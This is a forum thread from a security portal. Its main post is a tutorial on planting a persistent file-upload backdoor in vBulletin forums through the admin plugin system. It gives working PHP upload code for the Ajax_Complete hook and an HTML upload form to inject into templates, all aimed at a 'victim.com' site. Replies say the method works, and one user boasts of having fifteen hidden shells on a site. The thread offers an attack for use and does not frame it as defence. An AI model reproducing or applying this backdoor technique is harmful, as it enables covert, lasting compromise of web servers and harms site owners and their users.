Waraxe IT Security Portal
Login or Register
September 8, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 77
Members: 0
Total: 77
Full disclosure
[SYSS-2024-030]: C-MOR Video Surveillance - OS Command Injection (CWE-78)
[SYSS-2024-029]: C-MOR Video Surveillance - Dependency on Vulnerable Third-Party Component (CWE-1395)
[SYSS-2024-028]: C-MOR Video Surveillance - Cleartext Storage of Sensitive Information (CWE-312)
[SYSS-2024-027]: C-MOR Video Surveillance - Improper Privilege Management (CWE-269)
[SYSS-2024-026]: C-MOR Video Surveillance - Unrestricted Upload of File with Dangerous Type (CWE-434)
[SYSS-2024-025]: C-MOR Video Surveillance - Relative Path Traversal (CWE-23)
Backdoor.Win32.Symmi.qua / Remote Stack Buffer Overflow (SEH)
HackTool.Win32.Freezer.br (WinSpy) / Insecure CredentialStorage
Backdoor.Win32.Optix.02.b / Weak Hardcoded Credentials
Backdoor.Win32.JustJoke.2 1 (BackDoor Pro) / Unauthenticated Remote Command Execution
Backdoor.Win32.PoisonIvy. ymw / Insecure Credential Storage
[SYSS-2024-024]: C-MOR Video Surveillance - Improper Access Control (CWE-284)
[SYSS-2024-023]: C-MOR Video Surveillance - SQL Injection(CWE-89)
[SYSS-2024-022]: C-MOR Video Surveillance - Cross-Site Request Forgery (CWE-352)
[SYSS-2024-021]: C-MOR Video Surveillance - Persistent Cross-Site Scripting (CWE-79)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> vBulletin Board -> Uploading a Shell to vBulletin[All Versions]
Post new topicReply to topic View previous topic :: View next topic
Uploading a Shell to vBulletin[All Versions]
PostPosted: Wed Dec 31, 2008 12:46 am Reply with quote
Lymon
Beginner
Beginner
Joined: Sep 26, 2008
Posts: 2




Uploading Shell's To vBulletin Forums Via ACP


Thing's you'll need.
• Administrator Account Capable of Making Plugins
• An HTML Enabled Forum
• Or Template editing abilities.
• Folder chmod 777 for uploading. I used (images/avatars).

First thing is first, login to the Admin control panel.

The Scroll down on the side untill you see Plugins and Products.



Select New Plugin and you should get something like:



For the Hook Location Select Ajax_Complete

The Title isn't Important, name it whatever you want.

Execution order should be 5

And the code will be as follows:



Code:
$target_path = "images/avatars"; //edit this to your directory that is 777

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file ". basename( $_FILES['uploadedfile']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}


And finally set the plugin as active,

It should be as followed:



Once you've saved visit

http://victim.com/forums/ajax.php

You should get a "No input File Specified" if you get that then you can continue, if not retry the first few steps!


~~~~~~~~~~~~~~~~~~Part 2~~~~~~~~~~~~~~~~~~~~~~~~~


Your Almost Done!

Next we need a place where we can choose the file to upload...hmmm

Let's try good ol' HTML

Code:
<form enctype="multipart/form-data" action="ajax.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="hidden" name="s" value="$session[sessionhash]" />
<input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" />
<input type="submit" value="Upload File" />
</form>


Place that anywhere on the site where HTML is enabled OR edit the Template and BAM you have yourself a way to upload the shell, OR any other file for that matter Wink

Tutorial By: Lymon

Please do not re-distribute without my permission.


Thanks & Good Luck!
View user's profile Send private message Visit poster's website
PostPosted: Wed Dec 31, 2008 1:13 am Reply with quote
r00tfate1
Beginner
Beginner
Joined: Dec 31, 2008
Posts: 1




Yep ive used be4 it works like a charm Very Happy
this prolly works on other forums as well
View user's profile Send private message
PostPosted: Wed Dec 31, 2008 6:30 am Reply with quote
tehhunter
Valuable expert
Valuable expert
Joined: Nov 19, 2008
Posts: 261




Great post, I'll refer others to it. Surprised
View user's profile Send private message
Am getting bellow error.
PostPosted: Wed Apr 15, 2009 6:38 am Reply with quote
transfer
Regular user
Regular user
Joined: Apr 14, 2009
Posts: 11




Am getting bellow error.

Parse error: syntax error, unexpected '<' in /home/XXXXX/public_html/ajax.php(754) : eval()'d code on line 1

Any one guide me..

Thanks in advance
View user's profile Send private message
PostPosted: Wed Apr 15, 2009 5:39 pm Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




You didn't wrap the php code with <? ?> did you? If you did take them off...
View user's profile Send private message Yahoo Messenger
PostPosted: Thu Apr 30, 2009 10:33 pm Reply with quote
Overhit
Beginner
Beginner
Joined: Apr 30, 2009
Posts: 3




Works wonderfully for me, I have 15 shells hidden on this site, and 4 remote uploaders hidden in the site.
View user's profile Send private message
Uploading a Shell to vBulletin[All Versions]
www.waraxe.us Forum Index -> vBulletin Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.093 Seconds